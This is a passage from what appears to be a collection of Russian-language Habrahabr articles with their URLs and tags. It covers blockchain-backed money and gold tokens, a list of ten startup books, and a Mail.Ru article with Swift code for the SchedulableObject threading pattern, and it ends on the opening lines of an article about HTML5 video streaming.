работы с помощью блокчейн. Речь, в частности, идет о добавлении поддержки быстрых и недорогих трансграничных переводов и первые в своем роде варианты реализации этой концепции уже существуют. Каждый из кошельков Tether , например, обеспечивается средствами, которые хранятся на аудируемом и застрахованном банковском счете. Токены, каждый из которых представляет собой эквивалент 1$ создаются и уничтожаются согласно операциям ввода или вывода средств на кошелек. Средства пользователей сервиса уже циркулируют по всему миру почти без каких-либо затруднений и достигается это с помощью программной надстройки для сети Биткойн. Несмотря на то, что Tether-доллары (USDT) по-прежнему крайне зависимы от гарантии их ценности правительством США, связка с Биткойн-блокчейном позволяет освободить их от ограничений традиционных платежных систем, устраняя такие недостатки, как блокировка, возврат операций или высокие комиссии на их проведение. Цифровое золото В качестве закономерного развития этого принципа можно представить себе и выпуск блокчейн-токенов, предоставляющих право частичного или полного владения каким-либо товаром. Что и сделал стартап DigixDAO , которому удалось в ходе впечатляюще успешной компании привлечь 5.5 млн долларов всего за 12 часов. Как и в случае с Tether, активы пользователей хранятся в застрахованных и аудируемых сейфах. Токены выполняют роль единицы измерения золота (1 ед. = 1 унция) и действуют в рамках блокчейн, в данном случае — на базе платформы умных контрактов Ethereum, а не Биткойн. И поскольку речь идет о блокчейн-активе, каждая единица очень легко поддается делению, вплоть до 0.001 г или около 0.04$ по нынешней цене и может быть мгновенно «отправлена» в любую точку мира. Эти особенности позволяют говорить о том, что золото теперь снова может быть в ходу в качестве одной из валют повседневного использования, подходящей для XXI века. Отправители оплачивают небольшую комиссию с каждой транзакции. С этим связана интересная особенность: собранные таким образом токены золота постепенно накапливаются и распределяются пропорционально по счетам участников краудфандинговой кампании, поддержавших проект. Личные деньги и средство накопления Блокчейн позволяет любой компании выпускать собственную валюту. Она может принимать в том числе и форму традиционных токенов лояльности, которые будут торговаться на вторичных рынках в силу открытой природы распределенных реестров. Разумно предположить, что такие токены будут ходить в обращении в качестве некой параллельной разновидности денег и некоторые из них даже получат применение за пределами сетей, в которых они были выпущены. Однако и этот принцип можно развить, что и сделал проект Incent , который ec краудфандинга и будет размещен в блокчейне Waves . В силу универсальности Incent как валюты лояльности, и обеспечения ее работы расширяющейся экосистемой мерчантов, спрос на нее будет приводить к росту ее цены всякий раз, когда клиент будет совершать покупку. Таким образом, мы получаем новую разновидность этого класса активов. Вы можете вложиться в Incent для последующего извлечения прибыли, так как со временем ценность токенов будет расти. Или же вы можете потратить ее в магазинах мерчантов-партнеров Incent. Все это дает клиентам целый ряд причин по-настоящему заинтересоваться новым подходом к организации программ лояльности, которые выходят за рамки привычных и распространенных ныне схем поощрения. Резервные валюты центральных банков И, наконец, мы не можем игнорировать тот огромный интерес, который проявляют к технологии распределенных реестров банки и государственные органы. Ряд стран, включая Великобританию, Китай, Южную Корею и Дубай вкладывают немалые средства в изучение технологии блокчейн, осознавая все те преимущества, которые она предлагает по сравнению с унаследованными системами. Весьма вероятно, что в ближайшие десять лет мы увидим, как центральные банки начнут выпускать валюты на базе собственных блокчейн-реестров. Чтобы получить лучшее представление о том, как какое влияние может оказать блокчейн на финансовую сферу, прочитайте также про RegTech . Работающие в этом направлении компании создают предпосылки для огромного количества новых финансовых решений и возможностей. Несмотря на то, что коммерческие банки будут по-прежнему сохранять свою роль в создании и предоставлении некоторой части денежной массы, выпускаемая центральными банками цифровая валюта может стать доступна для всех желающих. Это значит, что семьи и компании смогут получать к ним прямой доступ, а распространенная ныне модель, по которой главный финансовый регулирующий орган страны распределяет свои резервы только между финансовыми учреждениями, уйдет в прошлое.
https://geektimes.ru/company/waves/blog/282868/
habrahabr
10 лучших книг для запуска успешного стартапа по версии MakeRight
['makeright', 'подборка книг', 'бизнес', 'стартап', 'саморазвитие', 'менеджмент']
Подборка легендарных бестселлеров, которые пригодятся не только начинающим предпринимателям, но и матерым акулам бизнеса. Каждую неделю редакторы MakeRight просматривают более сотни...
Подборка легендарных бестселлеров, которые пригодятся не только начинающим предпринимателям, но и матерым акулам бизнеса. Каждую неделю редакторы MakeRight просматривают более сотни нон-фикшн книг и отбирают для своих читателей только самое лучшее. В этой подборке мы собрали для вас легендарные бестселлеры, которые просто необходимо прочитать не только начинающим предпринимателям и тем, кто решил запустить стартап, но также и матерым акулам бизнеса. 1. «Бизнес с нуля. Метод Lean Startup» Эрика Риса Почему подавляющее большинство стартапов терпят крах? Эрик Рис уверен, что существуют две причины: Увлечение традиционными методами менеджмента, которые не подходят бизнесу, действующему в условиях чрезвычайной неопределенности, И подход «просто сделай это», то есть полное отсутствие менеджерских инструментов. Есть ли альтернатива? Да, это методика Lean Startup (бережливый стартап), которая помогает использовать научный подход для построения растущего бизнеса и избегать лишних затрат. Несмотря на обоснованные расчеты, серьезные бизнес-планы, продуманные бизнес-модели, крупные инвестиции, большинство стартапов терпят крах. Почему так происходит? Эрик Рис, автор методики «бережливого стартапа» уверен в том, что традиционный подход к развитию бизнеса не применим к стартапам. Стартап действует в условиях чрезвычайной неопределенности, и это нужно учитывать при его запуске. На первоначальном этапе развития стартапу необходимо оставаться гибким, чтобы учиться на ошибках и максимально быстро проверять гипотезы основателей, а значит, необходимо избегать крупных вливаний и затрат. Именно такой подход лежит в основе метода Lean, цель которого помочь предпринимателям повысить шансы стартапа на успех. → Amazon 2. «Scrum. Революционный метод управления проектами» Джеффа Сазерленда С каждым днем популярность методики Scrum набирает обороты. Она вышла за пределы сферы IT, и ее с успехом стали применять в традиционных отраслях, таких как благотворительные организации, школы и даже политические партии. Каков результат? Методика Scrum неизменно повышает эффективность коллективной работы, сокращает сроки выполнения задач, объединяет людей в сплоченные команды, нацеленные на постоянное улучшение своих результатов. Что такое Scrum? И чем секрет успеха Scrum? Те, кто занимается управлением проектами, да и просто управлением, хорошо знают, насколько сложно организовать слаженную командную работу. Из-за отсутствия слаженности постоянно нарушаются планы, происходит отставание от графика, бюджет проекта раздувается, деньги и время утекают сквозь пальцы, задачи разных подразделений дублируются, люди спорят и не помогают друг другу, хотя, казалось бы, их усилия направлены на достижение одной цели. Кроме того, заказчики часто бывают не удовлетворены окончательным вариантом созданного продукта. Методика Scrum, которую разработали Джефф Сазерленд и Кен Швабер, призвана решить все эти проблемы. Scrum — это противоположность классическому поэтапному подходу, применяемому к реализации проектов. Методику Scrum взяли на вооружение многие компаний как из технологических отраслей, откуда она сама родом, так и из традиционных и даже некоммерческих. Подход, лежащий в основе методики Scrum, можно применять в разных видах деятельности, в которых требуется коллективная работа. Важными характеристиками Scrum является её гибкость и ориентированность на клиента, так как она предполагает его (клиента) непосредственное участие в процессе работы. И, что немаловажно, Scrum не требует дорогостоящих инструментов для его внедрения. → Amazon 3. «Deadline. Роман об управлении проектами» Тома ДеМарко Обладатель множества научных званий и наград Том ДеМарко возглавляет консалтинговый центр Atlantic Systems Guild с офисами в США, Германии и Великобритании. Инженер-программист и бакалавр электротехники, лауреат премии Жана-Доминика Варнье «За пожизненный вклад в информационные науки», ДеМарко проявил себя как талантливый писатель — автор девяти книг по управлению, организационному проектированию и системным разработкам, а также четырех произведений художественной литературы, в числе которых и знаменитый бизнес-роман «The Deadline», рассказывающий об искусстве управления проектами. Иронически-детективный сюжет переносит читателя вслед за главным героем в вымышленную страну, где затевается небывалый по масштабам программно-инженерный проект, сдать который следует в рекордно короткие сроки. В распоряжении героя огромные человеческие и материальные ресурсы, но в случае провала ему грозят страшные кары вплоть до казни. → Ozon 4. «Цель» Элияху Голдратта Бизнес-роман Элияху Голдратта в увлекательной художественной форме рассказывает о том, как вытащить производство из кризиса при помощи простых и оригинальных методов, основанных на логике и здравом смысле. С опорой на них Голдратт создал теорию ограничений — системный подход к управлению производством. Суть теории в том, чтобы найти так называемое «узкое место» в технологическом процессе, ограничивающее и замедляющее работу в целом, и устранить его. Элияху Голдратт — бакалавр наук в области физики и доктор философии. Кроме того, он долго занимался программным обеспечением для производственных технологий. «Цель» — самый популярный его роман, прославивший автора, переиздававшийся миллионными тиражами и переведенный на многие языки. → Amazon 5. «Стратегия голубого океана» В. Чан Ким и Рене Моборна Книга издана более 10 лет назад, но на наш взгляд, на тему инновационной стратегии до сих пор не написано ничего лучше. Конечно, критики могут сказать, что идеи авторов не новы, а популярность книги обеспечило красивое название. Однако определенно можно сказать, что «Стратегия голубого океана» выстраивает в логичную систему разрозненные идеи и дает конкретный инструментарий для поиска инновационной стратегии. Основная идея книги состоит в том, что вместо того, чтобы вести кровопролитную борьбу с конкурентами, компаниям следует нацелиться на создание нового, никем не занятого рыночного пространства. → Amazon 6. «Идеальный руководитель» Ицхака Адизеса Книга рассказывает о мифическом существе, которое автор сравнивает со сказочным единорогом — идеальном руководителе. Он прекрасен, но его не существует в природе. Однако мало кто об этом знает или хотя бы задумывается. Многие компании уверены, что такого человека можно обучить, воспитать, а лучше нанять на работу уже подготовленного. Однако их ждет одно разочарование за другим. А все потому, что идеальный менеджер должен сочетать в себе качества, которых слишком много для одной личности. → Amazon 7. «От хорошего к великому. Почему одни компании совершают прорыв, а другие нет…» Джима Коллинза Что отличает великие компании от посредственных? Многие скажут, что использование самых современных технологий, наличие уникального продукта, харизматичного лидера или правильно выбранной стратегии. Однако многолетнее исследование под руководством Джима Коллинза, которое легло в основу книги «От хорошего к великому. Почему одни компании совершают прорыв, а другие нет…», доказывает, что подобные устоявшиеся представления ошибочны, и длительный успех компаний связан с влиянием других, не таких очевидных факторов. Исследование Джима Коллинза длилось 5 лет; были проанализированы результаты деятельности тысячи компаний, но в конечном итоге отобраны только 11 «великих» — тех, которые удовлетворяли следующим жестким критериям: доходность по их акциям должна была превышать среднее значение этого показателя по рынку более чем в три раза на протяжении пятнадцати лет, которым предшествовал долгий период посредственных результатов или даже убытков. Список 11 компаний, которые удовлетворяли этому критерию, выглядел следующим образом: Abbott, Circuit City, Fannie Mae, Gillette, Kimberly-Clark, Kroger, Nucor, Philip Morris, Pitney Bowes, Walgreens, Wells Fargo. Выводы исследования Джима Коллинза ставят под сомнение множество устоявшихся представлений о том, что способствует достижению выдающихся результатов в бизнесе. → Ozon 8. «Клиенты на всю жизнь» Карла Сьюэлла Считается само собой разумеющимся, что компании видят своей первоочередной задачей привлечение новых клиентов. На достижение этой цели они направляют силы своих лучших сотрудников и разрабатывают дорогостоящие маркетинговые планы. В результате, обделенными вниманием оказываются уже имеющиеся клиенты, многие из которых уходят к конкурентам. Книга «Клиенты на всю жизнь» посвящена принципам работы, направленным на удержание уже имеющихся клиентов. Её автор Карл Сьюэлл — владелец и руководитель сети дилерских автоцентров, сумевший за 30 лет увеличить оборот своей компании с $10 млн. до $250 млн., и доказавший что подход, ориентированный на установление крепких эмоциональных связей с уже имеющимися клиентами, полностью себя оправдывает. → Amazon 9. «Rework: бизнес без предрассудков» Джейсона Фрайда и Дэвида Хайнемайера Хенссона Книга «Rework» — это сборник советов по созданию и развитию бизнеса от основателей небольшой, но очень успешной компании 37signals, специализирующейся на разработке программного обеспечения, создании программ по управлению проектами и CRM. Несмотря на небольшой штат сотрудников, проживающих к тому же в разных странах, продукцией компании пользуются миллионы клиентов во всем мире. Джейсон Фрайд и Дэвид Хайнемайер Хенссон адресует свою книгу всем предпринимателям независимо от их опыта и размера бизнеса. По словам авторов, их советы — не теория, а сборник того, что было опробовано на практике и принесло положительные плоды. Подход основателей 37signals к бизнесу во многом отличается от того, к чему обычно стремятся другие предприниматели — к росту и увеличению масштабов деятельности. Фрайд и Хенссон призывают избавиться от этих стереотипов и понять, что маленькие компании тоже могут быть успешными и конкурентноспособными, всегда оставаясь маленькими. → Ozon 10. «От нуля к единице» Питера Тиля Книга в концентрированной форме рассказывает об идеях, которые Питер Тиль озвучил перед студентами Стэнфорда в 2012 году по курсу «Стартап». Однако это не просто книга о создании бизнеса. Она не даёт пошагового плана или формулы успеха. Как отмечает Питер Тиль, их просто не существует. Эта книга о том, как важно стремиться создавать новое, а не копировать то, что уже имеется. И если рассматривать ценность этой идеи, то книга пригодится не только предпринимателям и инвесторам, но и всем людям, которым интересна история и философия и которым небезразлично будущее человечества. Питер Тиль — американский предприниматель и инвестор немецкого происхождения, миллиардер, первый внешний инвестор Facebook. Подростком завоевал звание национального мастера по шахматам, учился в Стэнфорде, где сначала изучал философию, а затем — право. Тиль не сразу нашёл себя в бизнесе, несколько лет он проработал помощником судьи, а затем трейдером. В 1998 году он стал одним из основателей популярной платёжной системы PayPal. Позднее через свой венчурный фонд Founders Fund инвестировал во множество успешных проектов — LinkedIn, Quora, Yelp, Palantir и др. → Amazon Добавляйте в закладки нашу статью, чтобы прочитать все книги из этого списка! О нас Мы рассказываем о ключевых идеях из лучших книг жанра нон-фикшн. В нашей библиотеке более сотни бестселлеров, в том числе и тех, которые еще не изданы на русском. Подписывайтесь на наш телеграм-канал , чтобы быть в курсе всех последних новинок бизнес-литературы, а также эксклюзивных материалов из нашей библиотеки.
https://habrahabr.ru/company/makeright/blog/317474/
habrahabr
Использование паттерна SchedulableObject для выделения бизнес-логики в отдельный поток
['mail.ru', 'SchedulableObject', 'swift']
Интерфейс мобильного приложения — это лицо продукта. Чем более отзывчив интерфейс, тем больше радости приносит продукт. Однако удовлетворённость от использования приложения зависит прежде всего...
Интерфейс мобильного приложения — это лицо продукта. Чем более отзывчив интерфейс, тем больше радости приносит продукт. Однако удовлетворённость от использования приложения зависит прежде всего от объёма его функций. По мере увеличения количества и сложности задач они требуют всё больше и больше времени. Если архитектура приложения предполагает, что все они выполняются в главном потоке, то задачи бизнес-логики начинают конкурировать за время с задачами отрисовки интерфейса. При таком подходе рано или поздно обязательно находится сценарий, исполнение которого приводит к залипанию приложения. Для борьбы с этой напастью существует три принципиально разных подхода: Оптимизация алгоритмов и структур данных, вовлечённых в исполнение проблемного сценария. Вынос проблемного сценария из главного потока. Вынос из главного потока всех функций приложения, за исключением собственно рендеринга пользовательского интерфейса. Паттерн SchedulableObject позволяет аккуратно реализовать третий сценарий. Под катом рассматриваются его части с примерами реализации на Swift, а также преимущества и недостатки по сравнению с первыми двумя подходами. Постановка задачи Принято считать плавным такой интерфейс, который может обновляться не менее 60 раз в секунду. На эти цифры можно посмотреть и с другой стороны: Получается, что каждый цикл обработки событий должен успевать завершаться за 16,7 мс. Допустим, пользователь наблюдает окно, которое может отрисоваться за 10 мс. Это означает, что все задачи бизнес-логики должны успеть выполниться за 6,7 мс. Рассмотрим в качестве примера бизнес-логику добавления файла в Облако. Она состоит из множества этапов, суть которых в контексте данной статьи нас не интересует. Важно то, что все они вместе занимают 2,6 мс. Поделив максимальное время, отведённое на работу бизнес-логики, на время добавления одного файла, мы получим 3. Значит, если приложение хочет сохраняться отзывчивым при отработке данного сценария, оно не может добавлять более трёх файлов единовременно. К счастью для пользователя, но к сожалению для разработчиков, в приложении Облако существуют кейсы, когда необходимо добавить более трёх файлов за раз. На скриншотах выше изображены некоторые из них: Множественный выбор файлов из системной галереи устройства. Автоматическая загрузка новых файлов из галереи. В данный момент, чтобы избежать длительного подвисания приложения, скорость добавления файлов в очередь на загрузку сервисом автозагрузки искусственно ограничивается методом позорных констант. Вот две из них: // Позорные константы сервиса автозагрузки static uint const kMRCCameraUploaderBatchSize = 1000; static NSTimeInterval const kMRCCameraUploaderBatchDelaySec = 5; Их семантика такова: по итогам сканирования галереи на предмет новых фото сервис должен добавлять их в очередь загрузки пачками не более 1000 штук каждая с интервалом 5 с. Но даже при таком ограничении мы имеем подвисание на 1000 * 2,6 мс = 2,6 с каждые 5 с, что не может не огорчать. Искусственное ограничение пропускной способности бизнес-логики — это и есть тот самый симптом, свидетельствующий о необходимости посмотреть в сторону паттерна SchedulableObject. SchedulableObject vs алгоритмы Почему бы для решения проблемы не пойти по пути оптимизации алгоритмов и структур данных? Признаюсь, с настойчивостью, достойной лучшего применения, когда всё становится совсем плохо, мы оптимизируем те или иные шаги, участвующие в добавлении фото в очередь загрузки. Однако потенциал этих усилий заведомо ограничен. Да, можно что-то подкрутить и увеличить размер пачки до 2 или даже 4 тыс. штук, однако это не решает проблему фундаментально. Во-первых, на любую оптимизацию обязательно найдётся такой поток данных, который нивелирует весь её эффект. Применительно к Облаку это пользователь с 20 тыс. фото и более в галерее. Во-вторых, руководство обязательно захочет сделать ваш сценарий ещё более интеллектуальным, что неизбежно приведёт к усложнению его логики, придётся оптимизировать ранее проведённую оптимизацию. В-третьих, загрузка — не единственный сценарий, пропускная способность которого искусственно ограничена. Расшивание бутылочных горлышек алгоритмическим способом потребует индивидуального подхода к каждому сценарию. Что ещё хуже, атрибут качества «Производительность» является антагонистом другого, более важного, на мой взгляд, под названием «Поддерживаемость». Зачастую, чтобы достигнуть требуемой производительности, необходимо либо идти на разного рода ухищрения в алгоритмах, либо выбирать более сложные структуры данных, либо и то и другое вместе. Любой выбор не замедлит негативно сказаться или на публичном интерфейсе классов, или, по крайней мере, на их внутренней реализации. SchedulableObject vs выделение сценария в отдельный поток Рассмотрим недостатки подхода, при котором для каждого сценария принимается своё решение о целесообразности его выделения в отдельный поток. С этой целью проследим за эволюцией архитектуры некоторого бизнес-приложения, где для решения проблемы «тормозов» будем руководствоваться данным принципом. Поскольку здесь особо интересны потоки (threads), в контексте которых происходит вызов методов объектов, каждый из них будет кодироваться своим цветом. Изначально, когда тяжёлые сценарии ещё не появились, всё происходит в главном потоке, поэтому все связи и сущности имеют одинаковый синий цвет. Допустим, появился сценарий, при отработке которого один из объектов стал потреблять слишком много времени. Из-за этого отзывчивость пользовательского интерфейса начинает страдать. Обозначим проблемный поток данных (data flow) жирными стрелками. Без рефакторинга ресурсоёмкого класса осуществлять вызовы к нему в отдельном красном потоке нельзя. Причина в том, что у него не один клиент, а два, и второй по-прежнему осуществляет вызовы из главного, синего потока. Если эти вызовы изменяют разделяемое состояние объекта, то произойдёт классическая проблема гонки к данным. Для защиты от неё необходимо реализовывать красный объект потокобезопасным образом. По мере развития проекта ещё один компонент становится узким местом. К счастью, у него только один клиент, и потокобезопасная реализация не потребовалась. Если экстраполировать указанный подход на проектирование многопоточной архитектуры, рано или поздно она приходит к следующему состоянию. При небольшом усложнении оно становится совсем плачевным. Недостатки представленного подхода с условным названием Thread-Safe Architecture таковы: Необходимо постоянно отслеживать связи между объектами для своевременного рефакторинга однопоточной реализации метода или класса на потокобезопасную (и обратно). Потокобезопасные методы сложно реализовать, поскольку, помимо прикладной логики, необходимо учитывать специфику многопоточного программирования. Активное использование примитивов синхронизации может в итоге сделать приложение ещё более медленным, чем его однопоточная реализация. Принцип действия паттерна SchedulableObject В мире серверной, десктопной и даже Android-разработки тяжёлую бизнес-логику часто выделяют в отдельный процесс. Взаимодействие между сервисами внутри каждого из процессов остаётся однопоточным. Сервисы из разных процессов взаимодействуют друг с другом с использованием тех или иных механизмов межпроцессного взаимодействия (COM/DCOM, Corba, .Net Remoting, Boost.Interprocess и т. п.). К сожалению, в мире iOS-разработки мы ограничены лишь одним процессом, и AS IS такая архитектура не подходит. Однако её можно воспроизвести в миниатюре, заменив отдельный процесс отдельным потоком, а механизм межпроцессного взаимодействия — косвенными вызовами. Более формально суть трансформации такова: Завести один отдельный рабочий поток. Проассоциировать с ним цикл обработки событий и специальный объект для доставки в него сообщений — планировщик (от англ. scheduler). Связать каждый изменяемый объект с одним из планировщиков. Чем больше объектов будет связано с планировщиками рабочих потоков, тем больше времени останется у главного потока на свою основную обязанность — отрисовку пользовательского интерфейса. Выбирать правильный способ взаимодействия объектов друг с другом в зависимости от их принадлежности к планировщикам. Если планировщик общий, то взаимодействие происходит путём прямого вызова методов, если же нет — то опосредованно, через отправку специализированных событий. Предлагаемый подход уже взят на вооружение iOS-сообществом. Вот так выглядит высокоуровневая архитектура популярного фреймворка React Native от Facebook. Весь JavaScript-код выполняется в отдельном потоке, а взаимодействие с нативным кодом происходит посредством косвенных вызовов путём отправки сообщений через asynchronous bridge. Компоненты паттерна SchedulableObject В основе паттерна SchedulableObject лежат пять компонентов. Ниже для каждого из них определяется зона ответственности и предлагается наивная реализация, чтобы наиболее наглядно проиллюстрировать его внутреннее устройство. События Наиболее удобной абстракцией для событий в iOS являются блоки, внутри которых происходит вызов нужного метода объекта. typealias Event = () -> Void Очередь событий Поскольку события в очередь поступают из разных потоков, то очередь требует потокобезопасной реализации. Фактически именно она берёт на себя все трудности многопоточной разработки из прикладных компонентов. class EventQueue { private let semaphore = DispatchSemaphore(value: 1) private var events = [Event]() func pushEvent(event: @escaping Event) { semaphore.wait() events.append(event) semaphore.signal() } func resetEvents() -> [Event] { semaphore.wait() let currentEvents = events events = [Event]() semaphore.signal() return currentEvents } } Цикл обработки сообщений Реализует строго последовательную обработку событий из очереди. Это свойство компонента гарантирует, что все вызовы к реализующим его объектам осуществляются в одном, строго определённом потоке. class RunLoop { let eventQueue = EventQueue() var disposed = false @objc func run() { while !disposed { for event in eventQueue.resetEvents() { event() } Thread.sleep(forTimeInterval: 0.1) } } } В iOS SDK имеется стандартная реализация данного компонента — NSRunLoop. Поток Объект ядра операционной системы, в котором происходит исполнение кода цикла обработки сообщений. Наиболее низкоуровневая реализация в iOS SDK — класс NSThread. Для практических целей рекомендуется использовать более высокоуровневые примитивы вроде NSOperationQueue или очереди из Grand Central Dispatch. Планировщик Обеспечивает механизм доставки событий до требуемой очереди. Будучи главным компонентом, посредством которого клиентский код исполняет методы объектов, он дает название как микропаттерну SchedulableObject, так и макропаттерну Schedulable Architecture. class Scheduler { private let runLoop = RunLoop() private let thread: Thread init() { self.thread = Thread(target:runLoop, selector:#selector(RunLoop.run), object:nil) thread.start() } func schedule(event: @escaping Event) { runLoop.eventQueue.pushEvent(event: event) } func dispose() { runLoop.disposed = true } } SchedulableObject Предоставляет стандартный интерфейс для косвенных вызовов. По отношению к целевому объекту может выступать в роли и агрегата, как в примере ниже, и базового класса, как в библиотеке POSSchedulableObject . class SchedulableObject<T> { private let object: T private let scheduler: Scheduler init(object: T, scheduler: Scheduler) { self.object = object self.scheduler = scheduler } func schedule(event: @escaping (T) -> Void) { scheduler.schedule { event(self.object) } } } Соединяем всё вместе Программа ниже дублирует в консоли вводимые в неё символы. Слой бизнес-логики, который мы хотим вынести из главного потока, представлен классом Assembly. Он создаёт и предоставляет доступ к двум сервисам: Printer печатает подаваемые ему строки в консоль. PrintOptionsProvider позволяет конфигурировать сервис Printer. // // main.swift // SchedulableObjectDemo // class PrintOptionsProvider { var richFormatEnabled = false; } class Printer { private let optionsProvider: PrintOptionsProvider init(optionsProvider: PrintOptionsProvider) { self.optionsProvider = optionsProvider } func doWork(what: String) { if optionsProvider.richFormatEnabled { print("\(Thread.current): out \(what)") } else { print("out \(what)") } } } class Assembly { let backgroundScheduler = Scheduler() let printOptionsProvider: SchedulableObject<PrintOptionsProvider> let printer: SchedulableObject<Printer> init() { let optionsProvider = PrintOptionsProvider() self.printOptionsProvider = SchedulableObject<PrintOptionsProvider>( object: optionsProvider, scheduler: backgroundScheduler); self.printer = SchedulableObject<Printer>( object: Printer(optionsProvider: optionsProvider), scheduler: backgroundScheduler) } } let assembly = Assembly() while true { guard let value = readLine(strippingNewline: true) else { continue } if (value == "q") { assembly.backgroundScheduler.dispose() break; } assembly.printOptionsProvider.schedule( event: { (printOptionsProvider: PrintOptionsProvider) in printOptionsProvider.richFormatEnabled = arc4random() % 2 == 0 }) assembly.printer.schedule(event: { (printer: Printer) in printer.doWork(what: value) }) } Последний блок кода при желании можно упростить: assembly.backgroundScheduler.schedule { assembly.printOptionsProvider.object.richFormatEnabled = arc4random() % 2 == 0 assembly.printer.object.doWork(what: value) } Правила взаимодействия с schedulable-объектами Приведённая выше программа наглядно демонстрирует два правила взаимодействия с schedulable-объектами. Если с клиентом объекта и с вызываемым объектом проассоциирован один и тот же планировщик, то метод вызывается обычным образом. Так, Printer напрямую общается с PrintOptionsProvider. Если с клиентом объекта и с вызываемым объектом проассоциированы разные планировщики, то вызов происходит косвенно, путём отправки события. В примере выше цикл while считывает пользовательский ввод, исполняясь в главном потоке приложения, и поэтому не может напрямую обращаться к объектам бизнес-логики. С ними он взаимодействует опосредованно — через отправку событий. Полный листинг приложения доступен здесь . Недостатки паттерна SchedulableObject При всей элегантности паттерна у него есть и тёмная сторона: высокая инвазивность. Всё хорошо, когда Schedulable Architecture закладывается при первоначальном проектировании, как в этом демоприложении , и дело принимает совсем другой оборот, когда жизнь заставляет внедрять её в сложившуюся объемную кодовую базу. N-поточная природа паттерна порождает два жёстких требования с далеко идущими последствиями. Требование № 1: Immutable Models Все сущности, перемещающиеся между потоками, должны быть либо immutable, либо schedulable. В противном случае весь спектр проблем конкурентного изменения их состояния не замедлит себя ждать. Сегодня отчётливо прослеживается тренд на использование immutable объектов модели. В его авангарде как раз находятся компании, столкнувшиеся с необходимостью выделения бизнес-логики из главного потока. Вот список, пожалуй, самых ярких материалов на эту тему: Apple WWDC: Building Better Apps with Value Types in Swift Facebook: ComponentKit … emphasizes a one-way data flow from immutable models to immutable components Dropbox: Practical Cross-Platform Mobile C++ Development Pinterest: Immutable models and data consistency in our iOS App LinkedIn: Managing Consistency of Immutable Models Однако в кодовых базах наших дней мы с большой вероятностью столкнемся с мутабельными моделями. Более того, readwrite свойства — единственная возможность обновить их при использовании таких persistence-фреймворков, как Core Data или Realm. Внедрение Schedulable Architecture заставляет либо отказаться от них, либо предусмотреть какие-то особые механизмы для работы с моделями. Так, команда Realm предлагает следующее: « Therefore, the only limitation with Realm is that you cannot pass Realm objects between threads. If you need the same data on another thread, you just query for that data on the other thread ». С Core Data тоже есть обходные манёвры, но, на мой взгляд, это всё весьма неудобно и выглядит как «штука сбоку», которую совершенно не хочется закладывать в архитектуру на этапе проектирования. Не так давно Facebook в статье « Making News Feed nearly 50 % faster on iOS » объявил о своём отказе от Core Data. LinkedIn, ссылаясь на этот же недостаток Core Data, недавно представил свой фреймворк для персистентного хранения данных: « Rocket Data is a better option to Core Data because of the speed and stability guarantees as well as working with immutable instead of mutable models ». Требование № 2: Clusters of Services Миграция в отдельный поток имеет смысл только тогда, когда к этому готов весь кластер объектов. Если участвующие в разных сценариях сервисы живут в разных потоках, то обилие косвенных вызовов между ними спровоцирует code blast невероятных масштабов. Сейчас в Облаке Mail.Ru в рамках продуктовой разработки мы постепенно готовим бизнес-логику к жизни за пределами главного потока. Так, с каждым релизом у нас увеличивается количество сервисов, реализующих паттерн SchedulableObject. Как только их количество достигнет критической массы, достаточной для реализации «тяжёлых» сценариев, им единовременно будет выставлен планировщик рабочего потока, и тормоза из-за бизнес-логики останутся в прошлом. Библиотека POSSchedulableObject Библиотека POSSchedulableObject — ключевой ингредиент для полноценного воплощения в жизнь паттерна Schedulable Architecture в iOS приложении Облака Mail.Ru. Несмотря на то что кодовая база ещё только готовится к трансформации из однопоточного состояния в двухпоточное, рефакторинг уже приносит пользу. Поскольку в качестве базового класса для всех управляемых объектов используется POSSchedulableObject, некоторые его свойства активно эксплуатируются уже сейчас. Одно из ключевых — отслеживание несанкционированных прямых вызовов методов объекта из «вражеских» для него потоков. Не раз и не два POSSchedulableObject сообщал нам ассертом, что мы пытаемся обратиться к сервису бизнес-логики из некоего рабочего потока. Частая причина — тщетные надежды на то, что если в iOS 9 completion-блоки методов классов из iOS SDK дёргаются в главном потоке приложения, то в iOS 10 этот контракт не изменится. Особенность реализации механизма обнаружения вызовов из некорректного потока — то, что он может применяться отдельно от класса POSSchedulableObject. Мы использовали это свойство для проверки того, что вызовы методов наших ViewController’ов происходят только в главном потоке. Выглядит это следующим образом. @implementation UIViewController (MRCApp) - (BOOL)mrc_protectForMainThreadScheduler { POSScheduleProtectionOptions *options = [POSScheduleProtectionOptions include:[POSSchedulableObject selectorsForClass:self.class nonatomicOnly:YES predicate:^BOOL(SEL _Nonnull selector) { NSString *selectorName = NSStringFromSelector(selector); return [selectorName rangeOfString:@"_"].location != 0; }] exclude:[POSSchedulableObject selectorsForClass:[UIResponder class]]]; return [POSSchedulableObject protect:self forScheduler:[RACTargetQueueScheduler pos_mainThreadScheduler] options:options]; } @end Более подробную информацию о библиотеке вы найдёте в её описании в репозитории на GitHub . Как только мы прекратим поддержку iOS 7, так сразу озаботимся версией для Swift, наброски которой были продемонстрированы в рамках листингов компонентов паттерна. Заключение Паттерн SchedulableObject предоставляет системный подход для выноса бизнес-логики приложения из главного потока. Получающаяся на его основе Schedulable Architecture хорошо масштабируется по двум причинам. Во-первых, количество рабочих потоков не зависит от числа сервисов. Во-вторых, вся сложность многопоточной разработки перенесена из прикладных классов в инфраструктурные. У архитектуры также есть интересные скрытые возможности. Например, мы можем вынести бизнес-логику не в один поток, а в несколько потоков. Меняя приоритет каждого из них, мы изменяем на макроуровне интенсивность использования системных ресурсов каждым из кластеров объектов. Это может оказаться полезным, например при реализации многоаккаунтности в приложении. Повышая приоритет потока, в котором исполняется цикл обработки сообщений бизнес-логики текущего аккаунта, мы тем самым можем интенсифицировать выполнение наиболее актуальных для пользователя задач. Ссылки Playground с демонстрацией основных компонент паттерна SchedulableObject Библиотека POSSchedulableObject Демоприложение с использованием библиотеки POSSchedulableObject
https://habrahabr.ru/company/mailru/blog/317440/
habrahabr
Какой бывает HTML5-стриминг (и почему mp4-стриминга не существует)
['html5', 'html5 video', 'mp4', 'hls', 'mpeg-dash', 'dash', 'webrtc', 'streaming video', 'streaming', 'mse', 'media source extensions', 'flash video']
Нередко клиенты спрашивают, умеет ли наш сервер «mp4-стриминг в HTML5». В 99% случаев спрашивающий не понимает о чём говорит. В этом сложно винить клиентов: из-за путаницы с терминами,...
